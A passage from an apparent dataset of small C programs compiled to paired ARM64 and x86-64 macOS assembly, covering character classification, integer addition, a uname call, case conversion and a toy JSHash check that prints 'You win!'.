movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.7(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_63:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isprint
cmpl $0, %eax
je LBB0_65
## %bb.64:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.8(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_65:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _ispunct
cmpl $0, %eax
je LBB0_67
## %bb.66:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.9(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_67:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isspace
cmpl $0, %eax
je LBB0_69
## %bb.68:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.10(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_69:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isupper
cmpl $0, %eax
je LBB0_71
## %bb.70:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.11(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_71:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isxdigit
cmpl $0, %eax
je LBB0_73
## %bb.72:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.12(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_73:
movl $4294967295, %edi ## imm = 0xFFFFFFFF
callq _isblank
cmpl $0, %eax
je LBB0_75
## %bb.74:
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rsi
leaq L_.str.13(%rip), %rdi
callq _fputs
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
LBB0_75:
jmp LBB0_76
LBB0_76:
movl -24(%rbp), %edx
xorl %eax, %eax
movl $1, %ecx
cmpl $0, %edx
cmovnel %ecx, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function print_char
_print_char: ## @print_char
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb %dil, %al
movb %al, -1(%rbp)
movzbl -1(%rbp), %esi
leaq L_.str.19(%rip), %rdi
movb $0, %al
callq _printf
movzbl -1(%rbp), %edi
callq _isgraph
cmpl $0, %eax
je LBB1_2
## %bb.1:
movzbl -1(%rbp), %esi
leaq L_.str.20(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB1_3
LBB1_2:
movzbl -1(%rbp), %esi
leaq L_.str.21(%rip), %rdi
movb $0, %al
callq _printf
LBB1_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz " BOGUS"
L_.str.1: ## @.str.1
.asciz " isascii"
L_.str.2: ## @.str.2
.asciz " isalnum"
L_.str.3: ## @.str.3
.asciz " isalpha"
L_.str.4: ## @.str.4
.asciz " iscntrl"
L_.str.5: ## @.str.5
.asciz " isdigit"
L_.str.6: ## @.str.6
.asciz " isgraph"
L_.str.7: ## @.str.7
.asciz " islower"
L_.str.8: ## @.str.8
.asciz " isprint"
L_.str.9: ## @.str.9
.asciz " ispunct"
L_.str.10: ## @.str.10
.asciz " isspace"
L_.str.11: ## @.str.11
.asciz " isupper"
L_.str.12: ## @.str.12
.asciz " isxdigit"
L_.str.13: ## @.str.13
.asciz " isblank"
L_.str.14: ## @.str.14
.asciz "; lower = "
L_.str.15: ## @.str.15
.asciz "; upper = "
L_.str.16: ## @.str.16
.asciz "EOF"
L_.str.17: ## @.str.17
.asciz " tolower BOGUS %d;"
L_.str.18: ## @.str.18
.asciz " toupper BOGUS %d;"
L_.str.19: ## @.str.19
.asciz "%d/"
L_.str.20: ## @.str.20
.asciz "'%c'"
L_.str.21: ## @.str.21
.asciz "'\\%.3o'"
.subsections_via_symbols
| the_stack_data/230508.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str wzr, [sp, #12]
mov w0, #4
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
movl $4, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/64200236.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
bl _addTwoNumbers
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _addTwoNumbers ; -- Begin function addTwoNumbers
.p2align 2
_addTwoNumbers: ; @addTwoNumbers
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #4
str x8, [x9]
sub x8, x29, #8
str x8, [x9, #8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldur w8, [x29, #-4]
ldur w9, [x29, #-8]
add w8, w8, w9
stur w8, [x29, #-12]
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter value for a and b:\n"
l_.str.1: ; @.str.1
.asciz "%d%d"
l_.str.2: ; @.str.2
.asciz "Sum of two numbers: %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
callq _addTwoNumbers
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _addTwoNumbers ## -- Begin function addTwoNumbers
.p2align 4, 0x90
_addTwoNumbers: ## @addTwoNumbers
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -4(%rbp), %rsi
leaq -8(%rbp), %rdx
movb $0, %al
callq _scanf
movl -4(%rbp), %eax
addl -8(%rbp), %eax
movl %eax, -12(%rbp)
movl -12(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter value for a and b:\n"
L_.str.1: ## @.str.1
.asciz "%d%d"
L_.str.2: ## @.str.2
.asciz "Sum of two numbers: %d\n"
.subsections_via_symbols
| the_stack_data/287764.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #1312
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #20]
str w0, [sp, #16]
str x1, [sp, #8]
add x0, sp, #24
bl _uname
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
mov w0, #42
add sp, sp, #1312
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "The quick brown fox jumps over the lazy dog"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $1312, %rsp ## imm = 0x520
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -1292(%rbp)
movl %edi, -1296(%rbp)
movq %rsi, -1304(%rbp)
leaq -1288(%rbp), %rdi
callq _uname
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
movl $42, %eax
addq $1312, %rsp ## imm = 0x520
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "The quick brown fox jumps over the lazy dog"
.subsections_via_symbols
| the_stack_data/26699825.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
stur x8, [x29, #-16]
stur wzr, [x29, #-8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldursw x8, [x29, #-8]
stur x8, [x29, #-24] ; 8-byte Folded Spill
ldur x0, [x29, #-16]
bl _strlen
ldur x8, [x29, #-24] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, hs
tbnz w8, #0, LBB0_18
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
ldur x9, [x29, #-16]
ldursw x10, [x29, #-8]
ldrsb w11, [x9, x10]
ldur x9, [x29, #-16]
ldursw x10, [x29, #-8]
ldrsb w10, [x9, x10]
mov x9, sp
str x8, [x9]
; implicit-def: $x8
mov x8, x11
str x8, [x9, #8]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #16]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _isalnum
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _isalpha
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _isdigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _islower
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _isupper
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _isspace
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_14
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _ispunct
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_16
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB0_1
LBB0_18:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
stur wzr, [x29, #-8]
b LBB0_19
LBB0_19: ; =>This Inner Loop Header: Depth=1
ldursw x8, [x29, #-8]
str x8, [sp, #32] ; 8-byte Folded Spill
ldur x0, [x29, #-16]
bl _strlen
ldr x8, [sp, #32] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, hs
tbnz w8, #0, LBB0_22
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_19 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _toupper
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_19 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB0_19
LBB0_22:
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
stur wzr, [x29, #-8]
b LBB0_23
LBB0_23: ; =>This Inner Loop Header: Depth=1
ldursw x8, [x29, #-8]
str x8, [sp, #24] ; 8-byte Folded Spill
ldur x0, [x29, #-16]
bl _strlen
ldr x8, [sp, #24] ; 8-byte Folded Reload
subs x8, x8, x0
cset w8, hs
tbnz w8, #0, LBB0_26
b LBB0_24
LBB0_24: ; in Loop: Header=BB0_23 Depth=1
ldur x8, [x29, #-16]
ldursw x9, [x29, #-8]
ldrsb w0, [x8, x9]
bl _tolower
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_23 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB0_23
LBB0_26:
mov w0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hello, TK-421!"
l_.str.1: ; @.str.1
.asciz "str[%2d]='%c' (ASCII 0x%x) "
l_.str.2: ; @.str.2
.asciz "ALNUM "
l_.str.3: ; @.str.3
.asciz "ALPHA "
l_.str.4: ; @.str.4
.asciz "DIGIT "
l_.str.5: ; @.str.5
.asciz "LOWER "
l_.str.6: ; @.str.6
.asciz "UPPER "
l_.str.7: ; @.str.7
.asciz "SPACE "
l_.str.8: ; @.str.8
.asciz "PUNCT "
l_.str.9: ; @.str.9
.asciz "\n"
l_.str.10: ; @.str.10
.asciz "\nAll upper case: "
l_.str.11: ; @.str.11
.asciz "%c"
l_.str.12: ; @.str.12
.asciz "\nAll lower case: "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rax
movq %rax, -16(%rbp)
movl $0, -8(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movslq -8(%rbp), %rax
movq %rax, -24(%rbp) ## 8-byte Spill
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -24(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
jae LBB0_18
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %esi
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edx
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %ecx
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _isalnum
cmpl $0, %eax
je LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _isalpha
cmpl $0, %eax
je LBB0_6
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _isdigit
cmpl $0, %eax
je LBB0_8
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _islower
cmpl $0, %eax
je LBB0_10
## %bb.9: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _isupper
cmpl $0, %eax
je LBB0_12
## %bb.11: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
LBB0_12: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _isspace
cmpl $0, %eax
je LBB0_14
## %bb.13: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
LBB0_14: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _ispunct
cmpl $0, %eax
je LBB0_16
## %bb.15: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
LBB0_16: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
## %bb.17: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_1
LBB0_18:
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -8(%rbp)
LBB0_19: ## =>This Inner Loop Header: Depth=1
movslq -8(%rbp), %rax
movq %rax, -32(%rbp) ## 8-byte Spill
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -32(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
jae LBB0_22
## %bb.20: ## in Loop: Header=BB0_19 Depth=1
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _toupper
movl %eax, %esi
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
## %bb.21: ## in Loop: Header=BB0_19 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_19
LBB0_22:
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -8(%rbp)
LBB0_23: ## =>This Inner Loop Header: Depth=1
movslq -8(%rbp), %rax
movq %rax, -40(%rbp) ## 8-byte Spill
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -40(%rbp), %rax ## 8-byte Reload
cmpq %rcx, %rax
jae LBB0_26
## %bb.24: ## in Loop: Header=BB0_23 Depth=1
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movsbl (%rax,%rcx), %edi
callq _tolower
movl %eax, %esi
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
## %bb.25: ## in Loop: Header=BB0_23 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_23
LBB0_26:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hello, TK-421!"
L_.str.1: ## @.str.1
.asciz "str[%2d]='%c' (ASCII 0x%x) "
L_.str.2: ## @.str.2
.asciz "ALNUM "
L_.str.3: ## @.str.3
.asciz "ALPHA "
L_.str.4: ## @.str.4
.asciz "DIGIT "
L_.str.5: ## @.str.5
.asciz "LOWER "
L_.str.6: ## @.str.6
.asciz "UPPER "
L_.str.7: ## @.str.7
.asciz "SPACE "
L_.str.8: ## @.str.8
.asciz "PUNCT "
L_.str.9: ## @.str.9
.asciz "\n"
L_.str.10: ## @.str.10
.asciz "\nAll upper case: "
L_.str.11: ## @.str.11
.asciz "%c"
L_.str.12: ## @.str.12
.asciz "\nAll lower case: "
.subsections_via_symbols
| the_stack_data/234518455.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _JSHash ; -- Begin function JSHash
.p2align 2
_JSHash: ; @JSHash
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str w1, [sp, #20]
mov w8, #50855
movk w8, #20071, lsl #16
str w8, [sp, #16]
str wzr, [sp, #12]
str wzr, [sp, #12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, hs
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [sp, #16]
ldr x8, [sp, #24]
ldrsb w8, [x8]
add w8, w8, w9, lsl #5
ldr w9, [sp, #16]
add w9, w8, w9, lsr #2
ldr w8, [sp, #16]
eor w8, w8, w9
str w8, [sp, #16]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #24]
add x8, x8, #1
str x8, [sp, #24]
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_1
LBB0_4:
ldr w0, [sp, #16]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
str x8, [sp, #24]
ldr x8, [sp, #24]
str x8, [sp, #8] ; 8-byte Folded Spill
ldr x0, [sp, #24]
bl _strlen
mov x8, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
mov x1, x8
bl _JSHash
str w0, [sp, #20]
ldr w8, [sp, #20]
mov w9, #56029
movk w9, #4619, lsl #16
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB1_2
LBB1_2:
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "You win!\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _JSHash ## -- Begin function JSHash
.p2align 4, 0x90
_JSHash: ## @JSHash
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $1315423911, -16(%rbp) ## imm = 0x4E67C6A7
movl $0, -20(%rbp)
movl $0, -20(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -12(%rbp), %eax
jae LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
shll $5, %eax
movq -8(%rbp), %rcx
movsbl (%rcx), %ecx
addl %ecx, %eax
movl -16(%rbp), %ecx
shrl $2, %ecx
addl %ecx, %eax
xorl -16(%rbp), %eax
movl %eax, -16(%rbp)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movq -8(%rbp), %rax
addq $1, %rax
movq %rax, -8(%rbp)
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_1
LBB0_4:
movl -16(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rax
movq %rax, -40(%rbp) ## 8-byte Spill
movq -24(%rbp), %rdi
callq _strlen
movq -40(%rbp), %rdi ## 8-byte Reload
movl %eax, %esi
callq _JSHash
movl %eax, -28(%rbp)
cmpl $302766813, -28(%rbp) ## imm = 0x120BDADD
